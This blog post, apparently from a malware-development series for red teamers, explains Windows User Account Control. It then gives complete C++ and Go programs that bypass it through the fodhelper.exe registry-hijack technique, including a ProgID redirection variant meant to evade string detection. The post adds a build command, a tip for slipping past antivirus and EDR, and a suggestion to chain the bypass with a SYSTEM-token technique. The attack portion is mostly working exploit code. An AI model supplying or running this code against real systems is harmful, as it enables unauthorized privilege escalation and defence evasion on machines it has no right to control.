Hi hackers!
In this posts we’ll see how threat actors can approach default Windows misconfigurations to elevate from common user to Administrator privileges by bypassing UAC
Only for educational purposes
First of all, what is UAC? User Account Control is a security feature implemented in various versions of Windows, starting with Windows Vista and continuing in subsequent versions such as Windows 7, 8, 8.1, and 10. The primary purpose of UAC is to improve security by preventing unauthorized changes to your system. UAC helps to mitigate potential risks by prompting users for their consent or credentials before allowing certain programs or tasks to make system-wide changes that could affect the computer’s security.
When an application or process attempts to perform actions that require administrative privileges, such as modifying system settings or installing software, UAC will prompt the user with a dialog box asking for confirmation or authentication. The user may need to enter an administrator password or simply confirm the action depending on their user account’s permissions.
Furthermore, our purpose as red teamers/pentesters is to bypass it but if the SysAdmin has secured and configured it to prompt for credentials, it would be absolutely impossible to bypass it so we approach that UAC doesn’t ask for credentials by default. If it’s well configured a screen like this should appear each time a privileged operation is goint to be done.
Now we know what’s UAC and how it works, let’s continue with the technical exploitation. However we’ll be using the well-known fodhelper.exe technique to achive UAC bypassing. fodhelper.exe is the official executable used by Windows to manage features in Windows settings. (C:\Windows\System32\fodhelper.exe). And why fodhelper.exe is used to elevate from Medium to High integrity? Because when it is executed, Windows doesn’t prompt the user with the UAC screen. That’s why we could edit some registry keys to achieve command execution with higher privs.
The main workflow would be something like this:
An example of UAC bypass in C++ would be like this (code isn’t mine):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <windows.h>
#include <stdio.h>
int main() {
HKEY hkey;
DWORD d;
const char* settings = "Software\\Classes\\ms-settings\\Shell\\Open\\command";
const char* cmd = "cmd /c start C:\\Windows\\System32\\cmd.exe"; // default program
const char* del = "";
// attempt to open the key
LSTATUS stat = RegCreateKeyEx(HKEY_CURRENT_USER, (LPCSTR)settings, 0, NULL, 0, KEY_WRITE, NULL, &hkey, &d);
printf(stat != ERROR_SUCCESS ? "failed to open or create reg key\n" : "successfully create reg key\n");
// set the registry values
stat = RegSetValueEx(hkey, "", 0, REG_SZ, (unsigned char*)cmd, strlen(cmd));
printf(stat != ERROR_SUCCESS ? "failed to set reg value\n" : "successfully set reg value\n");
stat = RegSetValueEx(hkey, "DelegateExecute", 0, REG_SZ, (unsigned char*)del, strlen(del));
printf(stat != ERROR_SUCCESS ? "failed to set reg value: DelegateExecute\n" : "successfully set reg value: DelegateExecute\n");
// close the key handle
RegCloseKey(hkey);
// start the fodhelper.exe program
SHELLEXECUTEINFO sei = { sizeof(sei) };
sei.lpVerb = "runas";
sei.lpFile = "C:\\Windows\\System32\\fodhelper.exe";
sei.hwnd = NULL;
sei.nShow = SW_NORMAL;
if (!ShellExecuteEx(&sei)) {
DWORD err = GetLastError();
printf (err == ERROR_CANCELLED ? "the user refused to allow privileges elevation.\n" : "unexpected error! error code: %ld\n", err);
} else {
printf("successfully create process =^..^=\n");
}
return 0;
}
There’s also a technique that uses another registry key as a redirector (Programmatic Identifiers) so in this way we would evade some basic string detection. Now we will code a common fodhelper.exe UAC bypass but with this technique.
And the code would be something like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
package main
import (
"os"
"fmt"
"log"
"time"
"os/exec"
"syscall"
"math/rand"
"golang.org/x/sys/windows/registry"
)
func RandomString(length int) (string) { // Return random string passing an integer (length)
var seededRand *rand.Rand = rand.New(
rand.NewSource(time.Now().UnixNano()))
const charset = "abcdefghijklmnopqrstuvwxyz" + "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
b := make([]byte, length)
for i := range b {
b[i] = charset[seededRand.Intn(len(charset))]
}
return string(b)
}
func main(){
if len(os.Args) < 2 {
fmt.Println("[!] Usage:", os.Args[0])
os.Exit(0)
}
program := os.Args[1]
fmt.Println("[*] Program to launch:", program)
fmt.Println("[*] Creating registry key...")
rand_key_name := RandomString(5)
fmt.Println("[*] Registry key: Software\\Classes\\" + rand_key_name + "\\shell\\open\\command")
// Create first key with random value
k, _, err := registry.CreateKey(registry.CURRENT_USER,
"Software\\Classes\\" + rand_key_name + "\\shell\\open\\command", registry.ALL_ACCESS,
)
if err != nil {
log.Fatal(err)
}
defer k.Close() // Close key
defer registry.DeleteKey(registry.CURRENT_USER, "Software\\Classes\\" + rand_key_name + "\\shell\\open\\command")
err = k.SetStringValue("DelegateExecute", "")
if err != nil {
log.Fatal(err)
}
err = k.SetStringValue("", program)
if err != nil {
log.Fatal(err)
}
// Create second key which redirects to the first one
k2, _, err := registry.CreateKey(registry.CURRENT_USER,
"Software\\Classes\\ms-settings\\CurVer", registry.ALL_ACCESS,
)
if err != nil {
log.Fatal(err)
}
defer k2.Close() // Close key
defer registry.DeleteKey(registry.CURRENT_USER, "Software\\Classes\\ms-settings\\CurVer")
err = k2.SetStringValue("", rand_key_name)
if err != nil {
log.Fatal(err)
}
fmt.Println("[*] Executing fodhelper.exe")
//time.Sleep(1000 * time.Millisecond)
cmd := exec.Command("cmd.exe", "/C", "fodhelper.exe") // Run fodhelper
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
err = cmd.Run()
time.Sleep(500 * time.Millisecond)
fmt.Println("[+] UAC bypass successed!")
}
As you can see we create two registry keys, the first one with a random value on it, then we set “DelegateExecute” to “” and “(default)” value to command we want to execute. And on the second registry key, we set the “(default)” value to the random value of the other key (i.e. dJsUy)
Let’s compile our code
1
GOARCH=amd64 GOOS=windows go build main.go
Then we transfer the .EXE to our testing machine and execute it
Yeah! It worked as expected and a high-privileged cmd appeared. Sometimes it also gets detected by AVs/EDRs but if you use “cmd /c start” before the command to execute, gets executed by the way.
You could perform one more step to go from MEDIUM –> Administrator –> SYSTEM
There are 6 different integrity levels and each one has more permissions than the previous:
Imagine you are a common user and you use the technique we’ve explained on this post but you also combine it with the technique from our 11th malware dev post, we would be able to execute a command as Admin with UAC bypass but the command we execute also gets SYSTEM token to directly run another command as SYSTEM (UAC bypass executes a getsystem executable which executes a command with highest privs)
Let’s see what happens if we combine UAC bypass with GetSystem implementation:
1
2
3
4
5
6
7
8
9
https://github.com/k4sth4/UAC-bypass
https://github.com/hfiref0x/UACME
https://github.com/0x9ef/golang-uacbypasser
https://github.com/rootm0s/WinPwnage
https://lolbas-project.github.io/#
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/integrity-levels
https://learn.microsoft.com/en-us/windows/win32/secauthz/mandatory-integrity-control
https://www.elastic.co/security-labs/exploring-windows-uac-bypasses-techniques-and-detection-strategies
https://systemweakness.com/bypassing-uac-methods-and-tricks-a536f784cc46
There is a bunch of different UAC bypass techniques that even persist on every system startup so red teamers can gain access, for example, to a system by catching a reverse shell. I hope you’ve learned how UAC works to escalate privileges and how it can be combined.
Source code here